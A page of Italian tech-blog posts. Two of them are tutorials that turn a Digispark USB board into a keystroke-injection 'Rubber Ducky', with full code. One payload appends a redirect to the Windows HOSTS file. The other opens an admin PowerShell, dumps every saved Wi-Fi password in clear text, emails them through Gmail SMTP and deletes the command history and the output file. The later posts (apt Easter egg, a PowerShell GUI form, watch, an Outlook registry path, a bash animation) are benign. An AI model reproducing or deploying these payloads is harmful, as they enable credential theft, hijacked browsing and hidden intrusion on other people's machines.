martedì 8 ottobre 2019

Digispark, modificare il file HOSTS in Windows 10

Nell'articolo Creare una Rubber Ducky economica con una scheda Digispark  è stato mostrato come programmare una scheda Digispark per recuperare i profili Wi-Fi con relative credenziali ed inviarle in allegato ad un'email ad un indirizzo di posta elettronica.
In quest'articolo la scheda Digispark verrà programmata per modificare il file HOSTS in modo che la navigazione web verso alcuni domini venga dirottata ad un indirizzo/server di nostra scelta.


Digispark Kickstarter
FIG 1 - Digispark Kickstarter
ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Prima di procedere con la programmazione della scheda un breve accenno sul funzionamento del file HOSTS.

All'interno di una rete, che utilizza il protocollo TCP/IP, alle risorse viene generalmente assegnato un nome human-friendly in modo da facilitarne la connessione da parte degli utenti. Attraverso un processo chiamato risoluzione dei nomi, il sistema traduce il nome della risorsa nel corrispondente indirizzo IP. In ambiente Windows la risoluzione del nome di un host utilizza generalmente la seguente sequenza:
  • Il client verifica se il nome da risolvere è il proprio;
  • Viene interrogato il file HOSTS in locale sulla postazione;
  • Viene interrogato un server DNS.

Il file HOSTS non è altro che un file di testo (visualizzabile e modificabile da un qualsiasi editor di testo) che contiene indirizzi IP e i corrispondenti nomi host. Ciascun indirizzo IP è separato dal nome host da uno spazio bianco (anche se per ragioni storiche spesso viene utilizzato il carattere di tabulazione come separatore). All'interno del file HOSTS è possibile trovare/inserire anche righe di commenti riconoscibili dal carattere hash (#) presente all'inizio della riga. Poiché il file HOSTS in ambiente Windows ha la precedenza sull'interrogazione dei server DNS, può essere utilizzato per bloccare l'accesso a specifici siti o a dirottare la navigazione.. A partire da Windows XP il file HOSTS si trova all'interno della cartella %windir%\System32\drivers\etc.
File Hosts
FIG 1 - File Hosts


Per poter programmare la scheda Digispark, oltre gli opportuni driver, è necessario installare e configurare l'IDE di Arduino. Per questi passaggi e per informazioni più dettagliate sulla scheda rimando all'articolo precedente.

Per la programmazione del dispositivo:
  • Scaricare il file Digispark_file_HOSTS.zip dal seguente link
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_file_HOSTS.INO per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Programmare il dispositivo Digispark tramite l'IDE Arduino
FIG 2 - Programmare il dispositivo Digispark tramite l'IDE Arduino

Terminato il caricamento, la scheda è pronta per essere usata. Basterà collegarla ad un PC con sistema operativo Windows 10 per modificare in pochi secondi il file HOSTS.

Rispetto a quanto visto nell'articolo precedente, il programma è molto più semplice:
#include "KeyboardIT.h"

void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  //Avvio prompt dei comandi come amministratore o PowerShell come amministratore in caso di Windows 10 aggiornato
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(1500);
  //Aggiunge riga al file HOSTS. Tentando di accedere al sito www.dell.com si viene dirottati all'indirizzo IP specificato
  // che corrisponde all'indirizzo www8.hp.com
  DigiKeyboard.println("ECHO 15.73.4.77 www.dell.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS");
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);
  //Esegue la pulizia della cache dei DNS
  DigiKeyboard.println("ipconfig /flushdns");
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  //chiude la finestra del prompt dei comandi/PowerShell
  DigiKeyboard.println("exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
}


In pratica viene avviato Windows PowerShell (amministratore) (nel caso di versioni di Windows 10 non aggiornate viene avviato un prompt dei comandi con i privilegi di amministratore) dopodiché con l'istruzione
DigiKeyboard.println("ECHO 15.73.4.77 www.dell.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); 
viene aggiunta la seguente riga al file HOSTS
15.73.4.77 www.dell.com
In questo modo tutte le volte che l'utente tenterà di accedere a www.dell.com verrà dirottato all'indirizzo IP 15.73.4.77 che corrisponde al sito di HP (www8.hp.com)
Successivamente viene svuotata la cache dei DNS con l'istruzione
DigiKeyboard.println("ipconfig /flushdns");
e chiusa la finestra di PowerShell.










lunedì 30 settembre 2019

Creare una Rubber Ducky economica con una scheda Digispark

La Rubber Ducky è una particolare pendrive USB che viene riconosciuta dai sistemi come una normale tastiera. Il dispositivo contiene, generalmente all'interno di una scheda micro SD, script che vengono eseguiti non appena collegato ad una porta USB del computer. Le Rubber Ducky vengono spesso utilizzate per il pentesting allo scopo di automatizzare la digitazione/esecuzione di comandi e hanno un costo che si aggira sui 45$. Tramite la porta USB il dispositivo può essere connesso praticamente a tutti i PC e le sue ridotte dimensioni ne consentono anche un utilizzo fraudolento.
In questo articolo verrà mostrato come preparare una Rubber Ducky economica spendendo pochi euro utilizzando una scheda Digispark.
Digispark Kickstarter
FIG 1 - Digispark Kickstarter
ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Digispark Kickstarter è una piccola scheda di sviluppo USB basata sul microcontroller ATtiny85 simile a quello montato su Arduino Uno ma più piccolo, economico e meno potente. Il microcontroller è collegato direttamente alla presa USB, la tensione viene regolata tramite il regolatore MC78M00 che, se raffreddato adeguatamente, può fornire in output 500mA. La scheda può essere programmata tramite l'IDE di Arduino. Le caratteristiche principali della scheda sono: 
  • Supporto per Arduino IDE 1.0+ (OSX / Win / Linux)
  • Alimentazione tramite USB o sorgente esterna - 5v o 7-35v (consigliato 12v o meno, selezione automatica)
  • Regolatore con uscita 5V - 500mA
  • Integrato USB incorporato
  • 6 pin I / O (2 usano solo USB se il programma comunica attivamente tramite USB, altrimenti è possibile utilizzare tutti i 6 pin anche se si sta programmando tramite USB)
  • 8k Memoria Flash (circa 6k dopo il bootloader)
  • I2C e SPI
  • PWM su 3 piedini (altri con Software PWM)
  • ingresso ADC su 4 pin
  • LED di alimentazione e LED di stato

Digispark Kickstarter Pinout
FIG 2 - Digispark Kickstarter Pinout

Come visibile in FIG 2 , tutti i pin possono essere usati come I/O digitali.





Installazione manuale driver

Affinché la scheda venga riconosciuta dal sistema per la programmazione è necessario scaricare e installare manualmente i driver.
  • Scaricare i driver da https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip oppure da QUI;
  • Scompattare il file .zip ed eseguire il file Install Drivers.exe (a seconda della versione a 32 o 64 bit del sistema operativo verrà installata la relativa versione del driver);
  • Nella finestra Installazione guidata driver di periferica cliccare su Avanti;
    Installazione guidata driver Digispark
    FIG 3 - Installazione guidata driver Digispark
  • Nella finestra successiva selezionare la casella Considera sempre attendibile il software proveniente da "Digistump LLC" e cliccare su Installa;
    Installazione driver Digispark
    FIG 4 - Installazione driver Digispark
  • Al termine dell'installazione verrà visualizzata la finestra mostrata in FIG 5. Cliccare su Fine per terminare.
    Installazione driver Digispark completata
    FIG 5 - Installazione driver Digispark completata




Installazione IDE Arduino

Per la programmazione della scheda Digispark è necessario utilizzare l'IDE Arduino:
  • Da https://www.arduino.cc/en/main/software scaricare Arduino IDE;
  • Avviata l'installazione accettare le condizioni della licenza mostrata nella prima schermata cliccando su I Agree;
    Installazione IDE Arduino, accettazione licenza
    FIG 6 - Installazione IDE Arduino, accettazione licenza
  • Nella schermata successiva accettare le impostazioni suggerite cliccando su Next;
    Installazione IDE Arduino, selezione componenti
    FIG 7 - Installazione IDE Arduino, selezione componenti
  • Accettare il percorso di installazione dell'IDE e cliccare su Install per avviare l'installazione del software;
    Installazione IDE Arduino, selezione del path di installazione
    FIG 8 - Installazione IDE Arduino, selezione del path di installazione
  • Nelle finestre successive selezionare la casella Considera sempre attendibile il software proveniente da "......" e cliccare sul pulsante  Installa;
    Installazione IDE Arduino, installazione software/driver
    FIG 9 - Installazione IDE Arduino, installazione software/driver
  • Al termine dell'installazione cliccare su Close.

    Installazione IDE Arduino completata
    FIG 10 - Installazione IDE Arduino completata




Configurazione IDE Arduino e test Digispark Kickstarter 

  • Avviare l'IDE quindi dal menu File selezionare Impostazioni;
    Arduino IDE
    FIG 11 - Arduino IDE
  • Nella casella URL aggiuntive per il Gestore schede digitare, se non già presente, l'indirizzo http://digistump.com/package_digistump_index.json e cliccare su OK;
    Arduino IDE, Impostazioni
    FIG 12 - Arduino IDE, Impostazioni
  • Dal menu Strumenti selezionare Scheda: quindi cliccare su Gestore schede...;
    Arduino IDE, Gestore Schede
    FIG 13 - Arduino IDE, Gestore Schede
  • Nella casella denominata Tipo selezionare Fornito da terzi quindi, dall'elenco, selezionare il pacchetto Digitump AVR Boards e cliccare su Installa;
    Arduino IDE, Gestore schede
    FIG 14 - Arduino IDE, Gestore schede
  • Terminata l'installazione chiudere la finestra Gestore schede e selezionare Digispark (Default - 16.5mhz) dal menu Strumenti -> Scheda.
    Arduino IDE, Scheda Digispark (Default - 16.5mhz)
    FIG 15 - Arduino IDE, Scheda Digispark (Default - 16.5mhz) 

Adesso che l'ambiente di sviluppo è stato configurato è possibile testare la scheda utilizzando uno degli esempi presenti all'interno dell IDE.
  • Dal menu File selezionare Esempi quindi Digispark_Examples;
  • Dall'elenco selezionare il progetto Start;
    Arduino IDE, Digispark Examples
    FIG 16 - Arduino IDE, Digispark Examples
  • Premere il pulsante di caricamento. Il codice verrà compilato e nella barra di stato dell'IDE verrà richiesto di collegare il dispositivo Digispark per il caricamento (se già collegato, scollegarlo e ricollegarlo);
    Arduino IDE, Compilazione e caricamento codice
    FIG 17 - Arduino IDE, Compilazione e caricamento codice
  • Inserire il dispositivo Digispark ed attendere il caricamento del codice. Al termine del caricamento il led sulla scheda inizierà a lampeggiare con la frequenza di 1Hz (ossia 1 volta al secondo).


Da questo momento il programma è caricato all'interno del dispositivo, basterà collegarlo ad una fonte di alimentazione e, dopo qualche secondo, verrà eseguito il codice caricato. Il ritardo nell'esecuzione del codice (generalmente di 5 secondi) è dovuto al controllo eseguito dal dispositivo per verificare se si sta tentando di programmarlo.



Programmazione Digispark Kickstarter per rubare credenziali Wi-Fi

Con i passaggi sopra indicati abbiamo programmato e testato il dispositivo ma la funzione di accendere e spegnere il led serve a poco.

Di seguito andremo a programmare la Digispark per rubare le password Wi-Fi quando viene connessa ad un PC con sistema operativo Windows 10 e inviarle ad un nostro account di posta. 

Per la dimostrazione utilizzerò un account Gmail. Per utilizzare questo tipo di account è necessario abilitare l'accesso alle app meno sicure nelle impostazioni dell'account ciò abbasserà la sicurezza della casella di posta elettronica pertanto consiglio di effettuare l'operazione su una mailbox "di servizio". Per attivare tale impostazione:
  • Dalla pagina web di Google accedere al proprio account;
  • Accedere alla pagina https://myaccount.google.com;
  • Cliccare sulla sezione Sicurezza (sul lato sinistro della schermata);
  • Nella sezione Accesso app meno sicure cliccare su Attiva accesso (sconsigliato);
    Gmail, Accesso app meno sicure
    FIG 18 - Gmail, Accesso app meno sicure
  • Dallo slider abilitare l'opzione Consenti app meno sicure;
    Gmail, Consenti app meno sicure
    FIG 19 - Gmail, Consenti app meno sicure
  • Scaricare dal seguente link il file Digispark_Wi-Fi_pwd_to_email.zip
    DOWNLOAD
  • Scompattare il file. Cliccare 2 volte sul file Digispark_Wi-Fi_pwd_to_email.INO per aprirlo nell'IDE Arduino.
  • All'interno del file sostituire:
    - INDIRIZZO_GMAIL_MITTENTE con l'indirizzo Gmail che vogliamo utilizzare per l'invio dei dati;
    - PASSWORD con la password dell'account Gmail con il quale inviamo;
    - INDIRIZZO_EMAIL_DESTINATARIO indirizzo email a cui vogliamo recapitare i dati rubati.
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Al termine della procedura basterà collegare il dispositivo per meno di 30 secondi ad un PC Windows 10 per rubare le credenziali Wi-Fi.
Digispark, codice programma
FIG 20 - Digispark, codice programma


Analisi del programma

Come indicato all'inizio dell'articolo, il dispositivo Digispark viene riconosciuto dal sistema operativo come una tastiera. Per la programmazione non facciamo altro che passare al dispositivo i tasti da digitare in modo da scrivere ed eseguire comandi al posto nostro.
Il linguaggio di programmazione utilizzato per programmare Arduino (e le schede basate su di esso) è il Wiring. Si tratta di un linguaggio di programmazione piuttosto semplice che consente la definizione di costanti, definizione di variabili e l'utilizzo di librerie esterne.
In questa parte dell'articolo andremo ad analizzare il contenuto del file Digispark_Wi-Fi_pwd_to_email.INO che rappresenta il programma principale.

La prima riga che ritroviamo è
#include "KeyboardIT.h"
Con questa istruzione viene caricata la libreria KeyboardIT.h nella quale è contenuta la mappatura dei tasti della tastiera italiana. 
Successivamente ritroviamo la procedura void setup.
void setup() {
}
Tale procedura, presente in tutti i programmi Arduino, viene utilizzata per impostare le porte presenti sulla scheda (input/output) ed eseguire comandi una sola volta non appena il dispositivo viene collegato. Si tratta di funzioni che per il nostro scopo non sono necessarie pertanto la procedura è vuota.

La procedura void loop() 
void loop() {
contiene le istruzioni del programma che vengono eseguite ciclicamente (in loop) ovvero quando si arriva alla fine il programma riparte dall'inizio.

Con l'istruzione
DigiKeyboard.sendKeyStroke(0);
viene simulata la pressione di un tasto. Con sendKeyStroke(), utilizzato anche in altri punti del programma, viene simulata la pressione di un tasto o di un gruppo di tasti (separati da virgola). Il nome dei tasti passati al metodo si basa sulla mappatura presente all'interno della libreria KeyboardIT.h.


DigiKeyboard.delay(500);
L'istruzione inserisce un ritardo, specificato in millisecondi tra parentesi, prima di eseguire l'istruzione successiva.

Il blocco di istruzioni successivo
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} 
   | %{(netsh wlan show profile name=$name key=clear)}  | Out-File wifi.txt; exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);

simula la combinazione di tasti Windows+X che, in Windows 10, apre il menu contestuale del tasto Start. Successivamente viene simulata la pressione del tasto A che nella versione aggiornata del sistema operativo Microsoft e nel menu contestuale aperto in precedenza corrisponde all'avvio di Windows PowerShell (amministratore)(FIG 21). Per rispondere affermativamente alla finestra del Controllo dell'account utente, viene utilizzato sendKeyStroke(KEY_S, MOD_ALT_LEFT) che corrisponde alla combinazione ALT+S.
Windows 10, Windows PowerShell (amministratore)
FIG 21 - Windows 10, Windows PowerShell (amministratore)

Il metodo DigiKeyboard.print consente di stampare/scrivere a video (in questo caso all'interno della finestra PowerShell) il comando che gli viene passato. Il comando verrà eseguito con l'istruzione successiva DigiKeyboard.sendKeyStroke(KEY_ENTER) che simula la pressione del tasto Invio. Nel nostro caso netsh wlan show profiles visualizza tutti i profili Wi-Fi presenti sulla macchina quindi, per ognuno, viene visualizzata la password in chiaro con il comando netsh wlan show profile name=$name key=clear. L'output viene rediretto all'interno del file wifi.txt.

A questo punto, nel blocco successivo,
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; 
   $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('INDIRIZZO_GMAIL_MITTENTE', 'PASSWORD'); 
   $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'INDIRIZZO_GMAIL_MITTENTE';
   $ReportEmail.To.Add('INDIRIZZO_EMAIL_DESTINATARIO'); $ReportEmail.Subject = 'Credenziali reti Wi-Fi :)'; 
   $ReportEmail.Body = 'In allegato le credenziali. '; $ReportEmail.Attachments.Add('wifi.txt'); 
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);

viene avviato nuovamente Windows PowerShell (amministratore). Con New-Object Net.Mail.SmtpClient viene creata l'email con in allegato il file wifi.txt contenente le password e inviata con la digitazione del tasto Invio presente nell'istruzione successiva.

Nel blocco finale andiamo a cancellare le tracce.
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("del wifi.txt"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(F("exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER)
  for(;;){ /*empty*/ }

Viene eliminata la cronologia dei comando PowerShell e il file wifi.txt.








martedì 24 settembre 2019

Linux: Easter Egg Debian/Ubuntu

APT (Advanced Packaging Tool) è il gestore dei pacchetti software utilizzato enlle distrubuzioni Linux Debian/Ubuntu. Tale tool nasconde un Easter egg. Aprire il terminale di una distribuzione Linux basata su Debian/Ubuntu ed eseguire i seguenti comandi:
apt moo
apt moo moo
apt moo moo moo

Se è installato aptitude provare ad eseguire anche:
aptitude moo -v
aptitude moo -vv
aptitude moo -vvv
aptitude moo -vvvv
aptitude moo -vvvvv


Linux, apt moo Easter Egg
FIG 1 - Linux, apt moo Easter Egg





lunedì 23 settembre 2019

PowerShell: Creare una GUI per uno script PowerShell

Gli script PowerShell vengono generalmente creati ed eseguiti all'interno di un'interfaccia a riga di comando e anche i risultati vengono visualizzati all'interno della finestra CLI (Command Line Interface). Ciò ne scoraggia l'utilizzo da parte degli utenti comuni. Tuttavia, PowerShell è un potente strumento di automazione e consente l'utilizzo di una varietà di oggetti .NET Framework. Per creare una semplice interfaccia grafica per gli script PowerShell basta utilizzare l'API .NET.

In quest'articolo verrà mostrato come creare un semplice Form. Prima di iniziare assicurarsi che la versione di PowerShell installata sul proprio sistema sia 3.0 o superiore. Per farlo basta eseguire $PSVersionTable.PSVersion da una finestra PowerShell per visualizzare un'output come quello mostrato in FIG 1. Se la variabile non esiste allora probabilmente si tratta della versione 1.0

Versioni di PowerShell:
  • Versione 1.0: distribuita nel 2006 come download opzionale. Obsoleta
  • Versione 2.0: distribuita nel 2009 come parte di Windows 7/Windows Server 2008. L'unica versione che supporta Windows XP e Windows Server 2003.
  • Versione 3.0: distribuita nel 2012 come parte di Windows 8/Windows Server 2012. Sono state completate le caratteristiche principali del linguaggio ed è stato riprogettato l'editor ISE.
  • Versione 4.0: distribuita nel 2013 come parte di Windows 8.1/Windows Server 2012R2. Aggiunto DSC (Desired State Configuration).
  • Versione 5.0: distribuita nel 2016 come parte di Windows 10. In tale versione sono state introdotte numerose funzionalità ed estensioni.
  • Versione 5.1: distribuita nel 2017 come parte di Windows 10 Anniversary Update\Windows Server 2016.

PowerShell, visualizzare la versione installata nel sistema
FIG 1 - PowerShell, visualizzare la versione installata nel sistema
Il blocco di codice per creare un semplice Form è il seguente:

Add-Type -assembly System.Windows.Forms
$form = New-Object System.Windows.Forms.Form
$form.Text ='La mia finestra in PowerShell'
$form.Width = 400
$form.Height = 200
$form.AutoSize = $true
$form.ShowDialog()

Per la creazione del Form viene utilizzata la classe System.Windows.Forms di .NET. Per caricare tale classe all'interno dello script PowerShell si utilizza tale codice:
Add-Type -assembly System.Windows.Forms

Nell'istruzione successiva 
$form = New-Object System.Windows.Forms.Form
viene avviata una nuova istanza della classe System.Windows.Forms.Form di .NET Framework che genera una finestra vuota (Form o modulo) in cui è possibile iniziare ad aggiungere controlli.

Successivamente viene impostato un titolo per la finestra attraverso la proprietà Text, quindi vengono impostate le dimensioni (larghezza e altezza) tramite le proprietà Width e Height
$form.Text ='La mia finestra in PowerShell'
$form.Width = 400
$form.Height = 200

Per fare in modo che il Form si ridimensioni automaticamente in base al suo contenuto viene utilizzata la proprietà AutoSize.
$form.AutoSize = $true

L'ultima istruzione 
$form.ShowDialog()
non fa altro che richiamare il metodo ShowDialog per visualizzare a video il Form.

Per creare lo script basta copiare il blocco di codice sopra indicato all'interno di un editor di testo (come ad es. Blocco Note) e salvare il file con estensione .ps1 (ad es. Form1.ps1). Per eseguirlo da PowerShell digitare il nome del file .ps1 comprensivo del percorso (ad es. c:\Users\glubrano\desktop\Form1.ps1). Il risultato sarà quello mostrato in FIG 2.

Dal seguente link è possibile scaricare il file contenente il blocco di codice.
DOWNLOAD Form1.ps1
Form in PowerShell
FIG 2 - Form in PowerShell



Il Form così creato serve a ben poco. Possiamo aggiungere altri elementi come un etichette (label), una casella combinata (combobox) e un pulsante (button). Quello che andremo a costruire nelle prossime righe è uno script PowerShell che permette di selezionare, all'interno della combobox, una specifica cartella e, cliccando sul pulsante, visualizzarne la data dell'ultima modifica.

Iniziamo ad inserire un etichetta. Per farlo basta aggiungere il seguente blocco di codice prima dell'ultima istruzione $form.ShowDialog().

$Label1 = New-Object System.Windows.Forms.Label
$Label1.Text = "Directory:"
$Label1.Location  = New-Object System.Drawing.Point(5,10)
$Label1.AutoSize = $true
$form.Controls.Add($Label1)

Con la prima istruzione viene creata una nuova istanza della classe System.Windows.Forms.Label che genera l'etichetta. Successivamente viene specificato il testo che l'etichetta andrà a visualizzare quindi, tramite System.Drawing.Point(5,10) andiamo a specificare la posizione, all'interno del Form, in cui verrà visualizzata l'etichetta. Anche in questo caso viene impostata la proprietà AutoSize in modo che le dimensioni dell'elemento si adeguano in base al contenuto. 
L'ultima istruzione 
$form.Controls.Add($Label1)
aggiunge l'etichetta al form precedentemente creato.


Il passo successivo consiste nell'inserire una casella combinata accanto all'etichetta. Aggiungiamo il seguente blocco di codice al nostro file .PS1 (assicurandoci che l'ultima istruzione sia sempre $form.ShowDialog()) .

$ComboBox1 = New-Object System.Windows.Forms.ComboBox
$ComboBox1.Width = 150
$Folders = get-childitem -dir | Select Name
Foreach ($Folder in $Folders){
 $ComboBox1.Items.Add($Folder.Name);
}
$ComboBox1.Location  = New-Object System.Drawing.Point(60,10)
$form.Controls.Add($ComboBox1)

In questo blocco gran parte delle istruzioni sono analoghe a quanto visto per i blocchi precedenti. Con l'istruzione
$Folders = get-childitem -dir | Select Name
andiamo ad assegnare alla variabile $Folders l'elenco delle directory presenti nel path da cui stiamo richiamando lo script. Il ciclo ForEach non fa altro che estrarre il nome delle directory e inserirle all'interno della combobox.


Il blocco successivo provvede ad inserire all'interno del Form due etichette: Label2 e Label3. Quest'ultima mostrerà la data dell'ultima modifica della cartella selezionata quando si clicca sul pulsante presente alla destra della combobox.

$Label2 = New-Object System.Windows.Forms.Label
$Label2.Text = "Data modifica:"
$Label2.Location  = New-Object System.Drawing.Point(5,40)
$Label2.AutoSize = $true
$form.Controls.Add($Label2)

$Label3 = New-Object System.Windows.Forms.Label
$Label3.Text = ""
$Label3.Location  = New-Object System.Drawing.Point(90,40)
$Label3.AutoSize = $true
$form.Controls.Add($Label3)

Blocco codice relativo al pulsante. 

$Button1 = New-Object System.Windows.Forms.Button
$Button1.Location = New-Object System.Drawing.Point(220,10)
$Button1.Size = New-Object System.Drawing.Size(150,20)
$Button1.Text = "Visualizza data modifica"
$form.Controls.Add($Button1)

Anche questi 2 blocchi vanno inseriti prima dell'istruzione $form.ShowDialog(). Nel blocco relativo al pulsante troviamo l'istruzione 
$Button1.Size = New-Object System.Drawing.Size(120,20)
che consente di specificare la dimensione dell'elemento.

Adesso non resta che inserire un'ultimo blocco in cui andiamo ad aggiungere un evento relativo al click sul pulsante. 

$Button1.Add_Click(
 {
  $Label3.Text =  (get-item  $ComboBox1.selectedItem).LastWriteTime 
 }
)

L'istruzione
$Label3.Text =  (get-item  $ComboBox1.selectedItem).LastWriteTime 
rileva la data di modifica della directory selezionata all'interno della combobox e la visualizza attraverso la Label3.

L'intero script può essere scaricato dal seguente link
DOWNLOAD Form2.ps1

Eseguendo lo script, l'output sarà simile a quello mostrato in FIG 3.
PowerShell, Visualizzare la data di modifica di una data cartella attraverso il Form
FIG 3 - PowerShell, Visualizzare la data di modifica di una data cartella attraverso il Form


In modo analogo possono essere inseriti ulteriori elementi all'interno del Form come:
- CheckBox
- ChekedListBox
- ContextMenu
- DateTimePicker
- GroupBox
- HScrollBar
- ListBox
- ListView
- Menu
- PictureBox
- ProgressBar
- RadioButton
- TabControl
- TextBox
- TrackBar
- TreeView
- VScrollBar


Per creare in maniera semplice Form accattivanti per script in PowerShell, è possibile usare l'editor online https://poshgui.com/Editor. Tale editor, attraverso una semplice interfaccia grafica, consente di progettare/realizzare una GUI per i propri script PowerShell anche a chi è poco pratico e scaricare il codice sorgente.
POSHGUI, Editor online GUI PowerShell
FIG 4 - POSHGUI, Editor online GUI PowerShell





venerdì 20 settembre 2019

Linux: Monitorare i processi in real time utilizzando l'utility Watch

Lavorando in ambiente Linux da terminale qualche volta può essere necessario eseguire un comando ripetutamente. In Linux tale operazione è resa possibile dall'utility watch.

Possiamo utilizzare tale utility per eseguire ripetutamente il comando ps e visualizzare, in tempo reale, informazioni relative ai processi in esecuzione. Per raggiungere tale scopo basta digitare il seguente comando da terminale

watch -n 1 'ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%mem | head'


Linux, Monitoring in tempo reale dei processi in esecuzione
FIG 1 - Linux, Monitoring in tempo reale dei processi in esecuzione


giovedì 19 settembre 2019

MS Outlook: Modificare la cartella di default suggerita nel salvataggio degli allegati

Quando si tenta di salvare gli allegati contenuti all'interno di un'email, MS Outlook propone una cartella di default. Durante il salvataggio è possibile selezionare un percorso diverso e MS Outlook proporrà l'ultimo percorso utilizzato per i salvataggi successivi finché non verrà riavviato. 
MS Outlook, Salva tutti gli allegati
FIG 1 - MS Outlook, Salva tutti gli allegati


Per modificare il path di default suggerito da MS Outlook durante il salvataggio degli allegati:
  • Premere la combinazione di tasti WIN+R per aprire la finestra di dialogo Esegui e digitare regedit seguito da invio per avviare l'editor del registro di sistema;
  • Posizionarsi su 
    HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\xx.0\Outlook\Options 

    Al posto di xx va indicata la versione di Office installata ad es. 

    Per Outlook 2016 - HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Options 

    Per Outlook 2013 - HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Options 

    Per Outlook 2010 - HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\14.0\Outlook\Options 

    Per Outlook 2007 - HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\12.0\Outlook\Options 

    Per Outlook 2003 - HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\11.0\Outlook\Options 
  • Creare, se non presente, un nuovo valore di tipo Stringa e rinominarlo in DefaultPath;
  • Eseguire un doppio click sul valore appena creato e, nella casella Dati valore, digitare il percorso in cui si intende salvare gli allegati di MS Outlook.
  • Riavviare il client di posta per rendere effettive la modifica.
MS Outlook, Modifica path di default salvataggio degli allegati
FIG 2 - MS Outlook, Modifica path di default salvataggio degli allegati


Se il path non è impostato MS Outlook utilizzerà quello di default impostato in MS Word. In alcune versioni, a causa di un bug, Outlook 2016 potrebbe suggerire come percorso C:\windows\system32.



Modificare il percorso suggerito dalle applicazioni Office per l'apertura/salvataggio di documenti

Per modificare il percorso che le applicazioni del pacchetto MS Office utilizzano per aprire e salvare i file e MS Outlook per inserire allegati:
  • Avviare MS Word o MS Excel;
  • Dal menu File selezionare Opzioni;
  • Selezionare la sezione Salvataggio;
  • Digitare, nella casella Percorso file locale predefinito, il percorso desiderato quindi cliccare su OK per salvare la modifica.

MS Word, Percorso file locale predefinito
FIG 3 - MS Word, Percorso file locale predefinito







mercoledì 18 settembre 2019

Linux: Divertirsi con la shell bash

Avviare la finestra terminale, incollare ed eseguire il seguente codice per vedere il cursore rimbalzare nella finestra e scrivere il manuale bash.

man bash | sed 's/./&\n/g' | awk -v mx=$COLUMNS -v my=$LINES 'BEGIN{x=y=e=f=1}{if(x==mx||!x){e*=-1};if(y==my||!y){f*=-1};x+=e;y+=f;printf "\033[%s;%sH%s",y,x,$1;for (a=0;a<400000;a++){}}' 


Linux, divertirsi con la shell bash
FIG 1 - Linux, divertirsi con la shell bash